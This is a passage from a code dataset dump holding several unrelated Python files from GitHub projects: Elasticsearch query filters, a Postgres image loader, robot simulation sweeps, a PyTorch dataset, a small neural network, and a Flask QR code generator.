time_filters['end'] is not None:\n end = datetime.datetime.utcfromtimestamp(time_filters['end'])\n print(\"end={0}\".format(end))\n range_dsl[\"range\"][time_field][\"lte\"] = end\n return range_dsl\n else:\n return None\n\ndef build_filters(params):\n #initialize\n filters = []\n if not params:\n return filters\n \n #handle time filters\n time_filter = build_time_filter(params)\n if time_filter:\n filters.append(time_filter)\n \n # Get dns-match-rule filter\n dns_match_rule = params.get(\"dns-match-rule\", DNS_MATCH_V4_V6)\n \n #handle event and summary filter\n event_type = params.get(\"event-type\", None)\n summary_type = params.get(\"summary-type\", None)\n summary_window = params.get(\"summary-window\", None)\n if event_type or summary_type or summary_window:\n event_filter = _build_event_type(event_type, summary_type, summary_window)\n if event_filter is None:\n #impossible filter\n return None\n else:\n filters.append(event_filter)\n \n #handle filters on fields\n for param in params:\n value = params[param]\n filter = None\n \n if param in RESERVED_GET_PARAMS:\n continue\n elif param in MAPPED_FILTERS:\n #is this a known filter\n key = MAPPED_FILTERS[param]\n elif param in MULTI_FILTERS:\n filter = _build_key_or(MULTI_FILTERS[param], value)\n elif param in IP_FILTERS:\n filter = _build_ip_filter(IP_FILTERS[param], value, dns_match_rule=dns_match_rule)\n elif param == \"ip-transport-protocol\":\n filter = _build_proto(value)\n elif param == \"tool-name\":\n key = \"pscheduler.tool\"\n value = re.sub(r'^pscheduler/', \"\", value)\n elif param == \"subject-type\":\n filter = _build_subj_type(value)\n elif param.startswith(\"pscheduler-reference\"):\n #does it start with pscheduler-reference\n #decompose into dotted notation\n key = re.sub(r'^pscheduler-',\"\", key)\n #The following is prone to error, we have no way to tell if a - \n # is because its in original key or added by esmond archiver to \n # separate nested objects. Handle a few known special cases but \n # otherwise people should avoid hyphens in reference fields\n key = param.replace(\"-\",\".\")\n #special cases\n key = param.replace(\"display.set\",\"display-set\")\n key = param.replace(\"psconfig.created.by\",\"psconfig.created-by\")\n key = param.replace(\"psconfig.created-by.user.agent\",\"psconfig.created-by.user-agent\")\n elif param.startswith(\"pscheduler-\"):\n #does it start with pscheduler-testtype\n #decompose into dotted notation\n key = re.sub(r'^pscheduler-.+?-', \"\", key) #remove prefix\n key = re.sub(r'^to-disk-', \"\", key)#handle special disk-to-disk case\n key = key.replace(\"-\",\".\")\n key = \"test.spec.{0}\".format(key)\n else:\n #if doesn't match below, use key as-is and apply to test spec\n # this actually gives you the option to use the mapped or unmapped name\n key = \"test.spec.{0}\".format(param)\n \n #add the filter to the list\n if filter:\n filters.append(filter)\n else:\n filters.append(_build_term(key, value))\n \n print(\"filters: {0}\".format(filters))\n \n return filters\n\n ","repo_name":"perfsonar/archiving-sandbox","sub_path":"elmond/elmond/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":14672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"73574982235","text":"\n\nimport psycopg2\nimport os\n\n# Conexión a la base de datos\nconexion = psycopg2.connect(\n dbname='Hermes',\n user='postgres',\n password='user',\n host='localhost',\n port=5432,\n)\n\ncursor = conexion.cursor()\n\n# Realizar la consulta SQL utilizando parámetros para prevenir inyección SQL\ncursor.execute(\"SELECT frames_data FROM to_process_img WHERE id = %s\", (2,))\n\n# Obtener los datos de la imagen\nrow = cursor.fetchone()\ncursor.close()\nconexion.close()\nfolder_path = \"C:/Users/5787/Desktop/captured_frames/\"\nif not os.path.exists(folder_path):\n os.makedirs(folder_path)\nif row is not None:\n imagen_bytea = row[0]\n\n # Convertir de memoryview a bytes si es necesario\n if isinstance(imagen_bytea, memoryview):\n imagen_bytea = imagen_bytea.tobytes()\n\n # Verificar la firma PNG\n if imagen_bytea.startswith(b'\\x89PNG\\r\\n\\x1a\\n'):\n \n # Definir la ruta de la imagen y guardar los datos\n image_path = os.path.join(folder_path, \"imagen_25.png\")\n with open(image_path, 'wb') as image_file:\n image_file.write(imagen_bytea)\n print(f\"Imagen guardada en: {image_path}\")\n else:\n print(\"Los datos de la imagen no tienen la firma PNG válida.\")\nelse:\n print(\"No se encontró la imagen con ID 25.\")\n\n# Convertir de memoryview a bytes si es necesario\nif isinstance(imagen_bytea, memoryview):\n imagen_bytea = imagen_bytea.tobytes()\n\n# Imprimir los primeros 8 bytes de la imagen\nprint(imagen_bytea[:8])\n\n# Imprimir los primeros 8 bytes en hexadecimal\nprint(\" \".join(f\"{byte:02x}\" for byte in imagen_bytea[:8]))\n\nimport base64\n\n# Suponiendo que 'imagen_bytea' es tu objeto que contiene los datos de la imagen en base64\nimagen_data = imagen_bytea.decode('utf-8') # Convertir los bytes a una cadena\n\n# Buscar el comienzo de la información de base64, asumiendo que es una imagen PNG\nbase64_str_index = imagen_data.find('base64,') + len('base64,')\n\n# Extraer solo la parte de base64 de la cadena\nbase64_data = imagen_data[base64_str_index:]\n\n# Decodificar los datos de base64 a bytes\nimage_bytes = base64.b64decode(base64_data)\n\n# Guardar los datos de la imagen en un archivo\nfile_path = 'C:/Users/5787/Desktop/captured_frames/feliz2.png'\nwith open(file_path, 'wb') as file:\n file.write(image_bytes)\n\nemotions = {0: \"angry\", 1: \"disgust\", 2: \"fear\", 3: \"happy\", 4: \"neutral\", 5: \"sad\", 6: \"surprice\"}","repo_name":"Washx23/Hermes_HBTON","sub_path":"backend/load_img.py","file_name":"load_img.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10030314584","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom formulae import Calculation\n\nclass Plot_Graphs(Calculation):\n\tdef __init__(self,**kwargs):\n\t\tpass\n\tdef plot(self):\n\t\tself.worksheet()\n\t\tfig, ax = plt.subplots()\n\t\taxes = [ax, ax.twinx(), ax.twinx()]\n\t\tfig.subplots_adjust(right=0.75)\n\t\taxes[-1].spines['right'].set_position(('axes', 1.2))\n\t\tcolors = ('Green', 'Red', 'Blue')\n\t\tcur=np.poly1d(np.polyfit(self.DISCHARGE,self.current,2))\n\t\teff=np.poly1d(np.polyfit(self.DISCHARGE,self.EFFICIENCY,2))\n\t\thead=np.poly1d(np.polyfit(self.DISCHARGE,self.del_head,2))\n\t\tdis=np.linspace(self.DISCHARGE[0],self.DISCHARGE[9],500)\n\t\t#Head Axis Plotting\n\t\taxes[2].plot(dis,eff(dis), color=colors[0])\n\t\taxes[2].plot(self.DISCHARGE,self.EFFICIENCY,'ko',color=colors[0])\n\t\taxes[2].set_ylabel('Efficiency (%)', color=colors[0])\n\t\taxes[2].tick_params(axis='y', colors=colors[0])\n\t\t#Current Axis Plotting\n\t\taxes[1].plot(dis,cur(dis), color=colors[1])\n\t\taxes[1].plot(self.DISCHARGE,self.current,'k+',color=colors[1])\n\t\taxes[1].set_ylabel('Current (A)', color=colors[1])\n\t\taxes[1].tick_params(axis='y', colors=colors[1])\n\t\t#Efficiency Axis Plotting\n\t\taxes[0].plot(dis,head(dis), color=colors[2])\n\t\taxes[0].plot(self.DISCHARGE,self.del_head,'kx',color=colors[2])\n\t\taxes[0].set_ylabel('Head (m)', color=colors[2])\n\t\taxes[0].tick_params(axis='y', colors=colors[2])\n\t\taxes[0].set_xlabel('Discharge in lps')\n\t\tplt.grid()\n\t\tplt.show()\n\t\tself.DISCHARGE = []\n\t\tself.EFFICIENCY= []\n\t\t\n\t\t\nif __name__ == \"__main__\":\n\tPlot_Graphs()\n\n","repo_name":"dinesh2ajay/deccan","sub_path":"interpolate.py","file_name":"interpolate.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33389728517","text":"from django_filters import rest_framework as filters\n\nfrom .fields import KeyValueField\nfrom .models import Incident\n\n\n__all__ = [\n \"IncidentFilter\",\n \"SourceLockedIncidentFilter\",\n]\n\n\nclass TagFilter(filters.Filter):\n field_class = KeyValueField\n\n\nclass TagInFilter(filters.BaseInFilter, TagFilter):\n pass\n\n\nclass IncidentFilter(filters.FilterSet):\n open = filters.BooleanFilter(label=\"Open\", method=\"incident_filter\")\n acked = filters.BooleanFilter(label=\"Acked\", method=\"incident_filter\")\n stateful = filters.BooleanFilter(label=\"Stateful\", method=\"incident_filter\")\n ticket = filters.BooleanFilter(label=\"Ticket\", method=\"incident_filter\")\n tags = TagInFilter(label=\"Tags\", method=\"incident_filter\")\n duration__gte = filters.NumberFilter(label=\"Duration\", method=\"incident_filter\")\n token_expiry = filters.BooleanFilter(label=\"Token expiry\", method=\"incident_filter\")\n\n @classmethod\n def incident_filter(cls, queryset, name, value):\n if name == \"open\":\n if value:\n return queryset.open()\n else:\n return queryset.closed()\n elif name == \"acked\":\n if value:\n return queryset.acked()\n else:\n return queryset.not_acked()\n elif name == \"stateful\":\n if value:\n return queryset.stateful()\n else:\n return queryset.stateless()\n elif name == \"tags\":\n if value:\n if isinstance(value, str):\n value = [value]\n return queryset.from_tags(*value)\n elif name == \"ticket\":\n if value:\n return queryset.has_ticket()\n else:\n return queryset.lacks_ticket()\n elif name == \"duration__gte\":\n if value:\n return queryset.is_longer_than_minutes(int(value))\n elif name == \"token_expiry\":\n return queryset.token_expiry()\n return queryset\n\n class Meta:\n model = Incident\n fields = {\n \"source__id\": [\"in\"],\n \"source__name\": [\"in\"],\n \"source__type\": [\"in\"],\n \"level\": [\"lte\"],\n \"source_incident_id\": [\"exact\"],\n \"start_time\": [\"gte\", \"lte\"],\n \"end_time\": [\"gte\", \"lte\", \"isnull\"],\n }\n\n\nclass SourceLockedIncidentFilter(IncidentFilter):\n class Meta:\n model = Incident\n fields = {\n \"source_incident_id\": [\"exact\"],\n \"start_time\": [\"gte\", \"lte\"],\n \"end_time\": [\"gte\", \"lte\", \"isnull\"],\n }\n","repo_name":"Uninett/Argus","sub_path":"src/argus/incident/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"50"} +{"seq_id":"20011987300","text":"import os\nimport pickle\nimport numpy as np\nfrom salamandra_simulation.simulation import simulation\nfrom simulation_parameters import SimulationParameters\nimport matplotlib.pyplot as plt\nfrom utils import compute_velocity\n\n\n# Phase lag sweep\nn_vals_phase_lag=17\nn_vals_drive=9\nphase_lags=np.linspace(0,2*np.pi,n_vals_phase_lag)\ndrives=np.linspace(1,3,n_vals_drive)\n\n\ndef exercise_9a3(timestep=1e-2, duration=10):\n \"\"\"Exercise 9a3\"\"\"\n\n times = np.arange(0, duration, timestep)\n\n velocities = np.zeros((n_vals_phase_lag, n_vals_drive))\n\n # Parameters\n parameter_set = [\n SimulationParameters(\n duration=duration, # Simulation duration in [s]\n timestep=timestep, # Simulation timestep in [s]\n spawn_position=[0, 0, 0.1], # Robot position in [m]\n spawn_orientation=[0, 0, 0], # Orientation in Euler angles [rad]\n drive=drive, # An example of parameter part of the grid search\n amplitude_gradient=None, # Just an example\n phase_lag_limb2body=phase_lag, # or np.zeros(n_joints) for example\n # ...\n )\n for drive in drives\n for phase_lag in phase_lags\n # for ...\n ]\n\n # Grid search\n directory = './logs/exercise9a3'\n os.makedirs(directory, exist_ok=True)\n for f in os.listdir(directory):\n os.remove(os.path.join(directory, f)) # Delete all existing files before running the new simulations\n for simulation_i, sim_parameters in enumerate(parameter_set):\n filename = './logs/exercise9a3/simulation_{}.{}'\n sim, data = simulation(\n sim_parameters=sim_parameters, # Simulation parameters, see above\n arena='ground', # Can also be 'ground', give it a try!\n fast=True, # For fast mode (not real-time)\n headless=True, # For headless mode (No GUI, could be faster)\n # record=True, # Record video\n )\n # Log robot data\n data.to_file(filename.format(simulation_i, 'h5'), sim.iteration)\n # Log simulation parameters\n with open(filename.format(simulation_i, 'pickle'), 'wb') as param_file:\n pickle.dump(sim_parameters, param_file)\n\n links_positions = data.sensors.links.urdf_positions()\n\n drive_i = simulation_i // n_vals_phase_lag\n phase_i = simulation_i % n_vals_phase_lag\n\n velocities[phase_i, drive_i] = compute_velocity(links_positions, timestep=timestep)\n\n fig, ax = plt.subplots(1)\n for i, drive in enumerate(drives):\n ax.plot(phase_lags, velocities[:, i], '-o', label='drive={}'.format(drive))\n ax.set_xticks(np.arange(0, 2 * np.pi + 0.01, np.pi / 4))\n labels = ['$0$', r'$\\pi/4$', r'$\\pi/2$', r'$3\\pi/4$', r'$\\pi$',\n r'$5\\pi/4$', r'$3\\pi/2$', r'$7\\pi/4$', r'$2\\pi$']\n ax.set_xticklabels(labels)\n ax.set_xlabel('Phase lag [rad]')\n ax.set_ylabel('Speed [m/s]')\n ax.legend()\n plt.show()\n plt.savefig('9a3.pdf', bbox_inches='tight')\n\n idxMax = np.argwhere(velocities == velocities.max())[0]\n optPhase_lag = phase_lags[idxMax[0]]\n optDrive = drives[idxMax[1]]\n print('The highest speed was {} m/s with a phase lag = {} and drive = {}'.format(np.max(velocities), optPhase_lag,\n optDrive))\n\n return optPhase_lag, optDrive\n\nn_vals_amplitude=21\namplitudes = np.linspace(0,2,n_vals_amplitude)\n\ndef exercise_9a4(timestep=1e-2, duration=10,optPhase_lag=3*np.pi/2,optDrive=3):\n \"\"\"Exercise 9a4\"\"\"\n\n times = np.arange(0, duration, timestep)\n\n velocities = np.zeros(n_vals_amplitude)\n\n # Parameters\n parameter_set = [\n SimulationParameters(\n duration=duration, # Simulation duration in [s]\n timestep=timestep, # Simulation timestep in [s]\n spawn_position=[0, 0, 0.1], # Robot position in [m]\n spawn_orientation=[0, 0, 0], # Orientation in Euler angles [rad]\n drive=optDrive, # An example of parameter part of the grid search\n amplitude_gradient=None, # Just an example\n amplitude_scaling=amplitude_scaling,\n phase_lag_limb2body=optPhase_lag, # or np.zeros(n_joints) for example\n # ...\n )\n for amplitude_scaling in amplitudes\n # for ...\n ]\n\n # Grid search\n directory = './logs/exercise9a4'\n os.makedirs(directory, exist_ok=True)\n for f in os.listdir(directory):\n os.remove(os.path.join(directory, f)) # Delete all existing files before running the new simulations\n for simulation_i, sim_parameters in enumerate(parameter_set):\n filename = './logs/exercise9a4/simulation_{}.{}'\n sim, data = simulation(\n sim_parameters=sim_parameters, # Simulation parameters, see above\n arena='ground', # Can also be 'ground', give it a try!\n fast=True, # For fast mode (not real-time)\n headless=True, # For headless mode (No GUI, could be faster)\n # record=True, # Record video\n )\n # Log robot data\n data.to_file(filename.format(simulation_i, 'h5'), sim.iteration)\n # Log simulation parameters\n with open(filename.format(simulation_i, 'pickle'), 'wb') as param_file:\n pickle.dump(sim_parameters, param_file)\n\n links_positions = data.sensors.links.urdf_positions()\n\n velocities[simulation_i] = compute_velocity(links_positions, timestep=timestep)\n\n fig, ax = plt.subplots(1)\n ax.plot(amplitudes, velocities, '-o')\n ax.set_xlabel('Nominal amplitude scaling [1]')\n ax.set_ylabel('Speed [m/s]')\n ax.set_title(r'Drive = 3 and phase lag between limb and body of $3\\pi/2$')\n plt.show()\n plt.savefig('9a4.pdf', bbox_inches='tight')\n\n optAmplitude=amplitudes[np.argmax(velocities)]\n print('The highest speed was {} m/s with a nominal amplitude scaling of {}'.format(np.max(velocities), optAmplitude))\n\nif __name__ == '__main__':\n optPhase_lag,optDrive=exercise_9a3()\n exercise_9a4(optPhase_lag=optPhase_lag,optDrive=optDrive)\n\n","repo_name":"Naevyys/salamander-playground","sub_path":"Project1/Python/exercise_9a.py","file_name":"exercise_9a.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35061383286","text":"import torch\nfrom torch.utils.data import Dataset\nimport pandas as pd\nimport numpy as np\nfrom joblib import Parallel, delayed\nimport gc\nfrom datetime import datetime\nimport subprocess\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\npd.options.mode.chained_assignment = None\n\ndef create_synth_data(n_samples,seq_len=100,n_features=50,alpha=200,betta=3):\n t = torch.linspace(0,1,steps=seq_len)\n t = t.repeat(n_samples,n_features,1).float()\n X = torch.cos(alpha*t) + torch.cos(alpha*t/2) + torch.cos(alpha*t/4) + betta*t + torch.rand_like(t)\n return X\n\n\nclass SynthDataset(Dataset):\n def __init__(self, n_samples,seq_len=100,n_features=50,alpha=200,betta=3):\n self.data = create_synth_data(n_samples,seq_len=seq_len,n_features=n_features,alpha=alpha,betta=betta)\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n\n return self.data[idx]\n\n\nclass SimpleParquetDataset(Dataset):\n def __init__(self, path,seq_len=100):\n self.seq_len = seq_len\n self.data = pd.read_parquet(path)\n\n def __len__(self):\n return len(self.data) - self.seq_len\n\n def __getitem__(self, idx):\n\n X = self.data.iloc[idx : idx + self.seq_len]\n X = (X - X.mean()) /( X.std() + 1)\n\n return torch.from_numpy(X.values).float().T\n \n\ndef choose_fold(folds,idx):\n for i,f in enumerate(folds):\n if idx < f:\n return i\n \ndef calc_label(series,treshold,steps):\n target = series.rolling(steps).mean().shift(-steps) /series.rolling(steps).mean().shift(steps)\n target = pd.DataFrame(target)\n target_col = series.name\n target['label'] = 1\n target['label'][target[target_col] <= (1 - treshold)]= 0\n target['label'][target[target_col] >= (1 + treshold)] = 2\n w = target.groupby('label').count().reset_index()\n if len(w) < 3:\n labels = [0,1,2]\n for l in labels:\n if l not in w['label'].values:\n w_ = pd.DataFrame([[l,0]])\n w_.columns = w.columns\n w = pd.concat([w,w_])\n\n return target['label'],w.sort_values('label').values[:,-1]\n\n\nclass HourParquetDataset(Dataset):\n def __init__(self, paths : list,seq_len=100,stats = [],\n mode='train',scale=True,clip=False,clip_values=[],\n resample=False,clip_percent=1,\n target_col=None,target_steps=5,treshold=1e-4,target_col_idx=-1,**kwargs):\n self.seq_len = seq_len\n self.target_col_idx = target_col_idx\n #read datasets\n # self.dsets = [pd.read_parquet(p) for p in paths]\n\n \n\n if resample:\n self.dsets = [pd.read_parquet(p,engine='fastparquet').resample(resample).last() for p in paths]\n print(f'{str(datetime.now())} : Data resampled.')\n else:\n self.dsets = [pd.read_parquet(p,engine='fastparquet') for p in paths]\n print(f'{str(datetime.now())} : Data loaded.')\n\n gc.collect()\n\n if target_col and target_steps:\n # targets = [calc_label(d[target_col],treshold,target_steps) for d in self.dsets]\n targets = Parallel(n_jobs=30)(delayed(calc_label)(d[target_col],treshold,target_steps) for d in self.dsets)\n self.targets = [t[0] for t in targets]\n weights = [t[1] for t in targets]\n weights = np.sum(weights,0)\n self.weights = (weights.sum() / weights / len(weights)).reshape(-1)\n self.dsets = [d[2*target_steps-1 : -target_steps] for d in self.dsets]\n print(f'{str(datetime.now())} : {mode} weights {self.weights}')\n del targets\n else:\n self.weights = None\n\n sizes = [len(d) - seq_len for d in self.dsets]\n self.folds = torch.cumsum(torch.tensor(sizes),0)\n\n if clip:\n self.clip_values = clip_values[[f'{clip_percent}min',f'{clip_percent}max']].values.T\n\n def clip_(d):\n return d.clip(lower=self.clip_values[0],upper=self.clip_values[1],axis=1)\n \n self.dsets = [clip_(d) for d in self.dsets]\n\n print(f'{str(datetime.now())} : Data clipped.')\n else:\n self.clip_values = None\n gc.collect()\n\n if scale:\n self.stats = [[d.min(),d.max()] for d in self.dsets]\n\n #norm datasets\n for i in range(len(self.stats) -1):\n self.dsets[i+1] = (self.dsets[i+1] - self.stats[i][0] ) / (self.stats[i][1] - self.stats[i][0] + 1e-10)\n\n if len(stats) == 1:\n self.stats[0] = stats[-1]\n\n\n self.dsets[0] = (self.dsets[0] - self.stats[0][0] ) / (self.stats[0][1] - self.stats[0][0] + 1e-10)\n print(f'{str(datetime.now())} : Data scaled.')\n \n gc.collect()\n\n\n\n\n def __len__(self):\n return self.folds[-1]\n\n def __getitem__(self, idx):\n fold = choose_fold(self.folds,idx)\n\n if fold > 0:\n idx -= self.folds[fold-1].item()\n\n X = self.dsets[fold][idx:idx+self.seq_len]\n if type(self.weights) != type(None):\n y = self.targets[fold][idx+self.seq_len]\n\n return torch.from_numpy(X.values).float().T,torch.Tensor([y]).long()[0]\n else:\n return torch.from_numpy(X.values).float().T\n","repo_name":"asmodaay/ti-mae","sub_path":"src/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"6333802553","text":"import io\nimport pytest\nimport json\nfrom CommonServerPython import *\nimport CortexXDRRemediationActionsWidget\n\n\ndef util_load_json(path):\n with io.open(path, mode='r', encoding='utf-8') as f:\n return json.loads(f.read())\n\n\n@pytest.mark.parametrize('context_data, expected_result', [\n (util_load_json('test_data/context_data1.json'), util_load_json('test_data/expected_results1.json')),\n (util_load_json('test_data/context_data2.json'), util_load_json('test_data/expected_results2.json'))\n])\ndef test_remediation_info(mocker, context_data, expected_result):\n mocker.patch.object(demisto, 'context', return_value=context_data)\n mocker.patch.object(CortexXDRRemediationActionsWidget, 'indicators_value_to_clickable',\n side_effect=lambda x: {a: a for a in x})\n results = CortexXDRRemediationActionsWidget.get_remediation_info()\n assert len(expected_result.keys()) == len(results.keys())\n for expected_key, expected_value in expected_result.items():\n assert expected_key in results\n assert set(results[expected_key]) == set(expected_value)\n","repo_name":"demisto/content","sub_path":"Packs/CortexXDR/Scripts/CortexXDRRemediationActionsWidget/CortexXDRRemediationActionsWidget_test.py","file_name":"CortexXDRRemediationActionsWidget_test.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"50"} +{"seq_id":"26568205940","text":"import numpy as np\n\ndef sigmoid(z):\n \"\"\"# Notice that z can be a scalar, a vector or a matrix\n # return the sigmoid of input z\"\"\"\n return 1.0 / (1.0 + np.exp(-z))\n\niteration = 0\nyl = None\ndef nnObjFunction(params, *args):\n \"\"\"% nnObjFunction computes the value of objective function (negative log \n % likelihood error function with regularization) given the parameters \n % of Neural Networks, thetraining data, their corresponding training \n % labels and lambda - regularization hyper-parameter.\n\n % Input:\n % params: vector of weights of 2 matrices w1 (weights of connections from\n % input layer to hidden layer) and w2 (weights of connections from\n % hidden layer to output layer) where all of the weights are contained\n % in a single vector.\n % n_input: number of node in input layer (not include the bias node)\n % n_hidden: number of node in hidden layer (not include the bias node)\n % n_class: number of node in output layer (number of classes in\n % classification problem\n % training_data: matrix of training data. Each row of this matrix\n % represents the feature vector of a particular image\n % training_label: the vector of truth label of training images. Each entry\n % in the vector represents the truth label of its corresponding image.\n % lambda: regularization hyper-parameter. This value is used for fixing the\n % overfitting problem.\n \n % Output: \n % obj_val: a scalar value representing value of error function\n % obj_grad: a SINGLE vector of gradient value of error function\n % NOTE: how to compute obj_grad\n % Use backpropagation algorithm to compute the gradient of error function\n % for each weights in weight matrices.\n\n %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n % reshape 'params' vector into 2 matrices of weight w1 and w2\n % w1: matrix of weights of connections from input layer to hidden layers.\n % w1(i, j) represents the weight of connection from unit j in input \n % layer to unit i in hidden layer.\n % w2: matrix of weights of connections from hidden layer to output layers.\n % w2(i, j) represents the weight of connection from unit j in hidden \n % layer to unit i in output layer.\"\"\"\n global iteration\n # print(\"iteration: \", iteration)\n iteration += 1\n\n n_input, n_hidden, n_class, training_data, training_label, lambdaval = args\n\n w1 = params[0:n_hidden * (n_input + 1)].reshape((n_hidden, (n_input + 1)))\n w2 = params[(n_hidden * (n_input + 1)):].reshape((n_class, (n_hidden + 1)))\n obj_val = 0\n\n # Your code here\n global yl\n if not isinstance(yl, np.ndarray):\n yl = []\n for l in training_label:\n y = np.zeros(int(np.max(training_label)) + 1)\n y[int(l)] = 1\n yl.append(y)\n yl = np.array(yl)\n\n n = len(yl)\n\n # print(\"Starting hidden node value calculations\")\n\n train_data_with_bias = np.hstack((training_data, np.ones((training_data.shape[0],1))))\n z_no_bias = sigmoid(np.matmul(train_data_with_bias, w1.T))\n z = np.hstack((z_no_bias, np.ones((z_no_bias.shape[0],1))))\n # print(\"hidden node values complete\")\n\n out = sigmoid(np.matmul(z, w2.T))\n # print(\"output values complete\")\n\n obj_val = (-1 / n) * np.sum(np.multiply(yl, np.log(out)) + np.multiply((1 - yl), np.log(1 - out)))\n print(\"iteration: \", iteration, \" obj val:\", obj_val)\n\n reg_obj_val = (lambdaval / (2 * n)) * (np.sum(w1**2) + np.sum(w2**2))\n obj_val += reg_obj_val\n # print(\"regularization obj val complete\")\n\n # Gradient descent:\n djw2 = np.matmul((out - yl).T, z)\n\n # w2_no_hidden = np.delete(w2, len(w2[0]) - 1, 1)\n w2_no_hidden = np.delete(w2, n_hidden - 1, 1)\n mat_1 = np.multiply((1 - z_no_bias), z_no_bias)\n delta_x_w1 = np.matmul((out - yl), w2_no_hidden)\n mat_1_x_mat_2 = np.multiply(mat_1, delta_x_w1)\n djw1 = np.matmul(mat_1_x_mat_2.T, train_data_with_bias)\n # print(\"gradient descent complete\")\n\n # regularization:\n reg_djw2 = (1 / n) * (djw2 + lambdaval * w2)\n reg_djw1 = (1 / n) * (djw1 + lambdaval * w1)\n\n obj_grad = np.concatenate((reg_djw1.flatten(), reg_djw2.flatten()), 0) \n \n # print(\"regularized gradient descent complete\")\n #\n #\n #\n #\n #\n\n # Make sure you reshape the gradient matrices to a 1D array. for instance if your gradient matrices are grad_w1 and grad_w2\n # you would use code similar to the one below to create a flat array\n # obj_grad = np.concatenate((grad_w1.flatten(), grad_w2.flatten()),0)\n # obj_grad = np.array([])\n\n return (obj_val, obj_grad)\n\n\ndef nnPredict(w1, w2, data):\n \"\"\"% nnPredict predicts the label of data given the parameter w1, w2 of Neural\n % Network.\n\n % Input:\n % w1: matrix of weights of connections from input layer to hidden layers.\n % w1(i, j) represents the weight of connection from unit i in input \n % layer to unit j in hidden layer.\n % w2: matrix of weights of connections from hidden layer to output layers.\n % w2(i, j) represents the weight of connection from unit i in input \n % layer to unit j in hidden layer.\n % data: matrix of data. Each row of this matrix represents the feature \n % vector of a particular image\n \n % Output: \n % label: a column vector of predicted labels\"\"\"\n\n labels = np.array([])\n # Your code here\n for image in data:\n z = sigmoid(np.dot(w1, np.append(image, 1)))\n prediction_labels = sigmoid(np.dot(w2, np.append(z, 1)))\n labels = np.append(labels, np.argmax(prediction_labels))\n\n return labels\n","repo_name":"alecfriedman3/neural_net","sub_path":"nnFunctions.py","file_name":"nnFunctions.py","file_ext":"py","file_size_in_byte":5666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"41611923300","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport logging\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow_hub as hub\n\nfrom src.elastic import get_client\n\n\ndef insert(es, index, model, df):\n for category, examples in df[~df.category.isin(['question', 'other'])].groupby('category'):\n centroid = np.mean(model(examples['input']).numpy(), axis=0)\n\n payload = {\n 'category': category,\n 'centroid': centroid.tolist(),\n }\n\n es.index(index=index, body=payload)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n\n parser = argparse.ArgumentParser(\n description='Inserts a classification record into Elasticsearch')\n\n parser.add_argument('--host', type=str, required=True,\n help='the Elasticsearch host')\n\n parser.add_argument('--port', type=int, default=9200,\n help='the Elasticsearch port')\n\n parser.add_argument('--index', type=str, required=True,\n help='the index name')\n\n parser.add_argument('--file', type=str, required=True,\n help='the name of the CSV file')\n\n parser.add_argument('--timeout', type=int, default=300,\n help='the Elasticsearch timeout')\n\n parser.add_argument('--model', type=str, required=True,\n help='the model name to use for the sentence embeddings. See https://tfhub.dev/google/collections/universal-sentence-encoder/1')\n\n args = parser.parse_args()\n\n df = pd.read_csv(args.file)\n\n model = hub.load(args.model)\n\n es = get_client(args.host, args.port, timeout=args.timeout)\n\n insert(es, args.index, model, df)\n","repo_name":"mauidude/w210-incorpbot","sub_path":"src/scripts/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"7545096220","text":"from flask import Flask, render_template, request\nimport qrcode\nfrom qrcode.image.styles.moduledrawers import RoundedModuleDrawer\nfrom qrcode.image.styles.colormasks import SolidFillColorMask\nfrom PIL import Image, ImageDraw\nfrom qrcode.image.pil import PilImage\nfrom qrcode.image.styledpil import StyledPilImage\nfrom qrcode.image.styles.moduledrawers.pil import RoundedModuleDrawer\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/generate', methods=['POST'])\ndef generate():\n url = request.form['url']\n logo = request.form['logo']\n\n qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H, box_size=10, border=4)\n qr.add_data(url)\n\n qr_eyes_img = qr.make_image(image_factory=StyledPilImage, eye_drawer=RoundedModuleDrawer(radius_ratio=1.2),\n color_mask=SolidFillColorMask(back_color=(255, 255, 255), front_color=(216, 170, 0)))\n qr_img = qr.make_image(image_factory=StyledPilImage, module_drawer=RoundedModuleDrawer(),\n color_mask=SolidFillColorMask(front_color=(46, 8, 5)), embeded_image_path=logo)\n\n def style_eyes(img):\n img_size = img.size[0]\n eye_size = 70 #default\n quiet_zone = 40 #default\n mask = Image.new('L', img.size, 0)\n draw = ImageDraw.Draw(mask)\n draw.rectangle((40, 40, 110, 110), fill=255)\n draw.rectangle((img_size-110, 40, img_size-40, 110), fill=255)\n draw.rectangle((40, img_size-110, 110, img_size-40), fill=255)\n draw.rectangle((img_size-110, img_size-110, img_size-40, img_size-40), fill=255)\n return mask\n\n mask = style_eyes(qr_img)\n final_img = Image.composite(qr_eyes_img, qr_img, mask)\n final_img.save('static/QR.png')\n\n return render_template('result.html')\n\nif __name__ == '__main__':\n 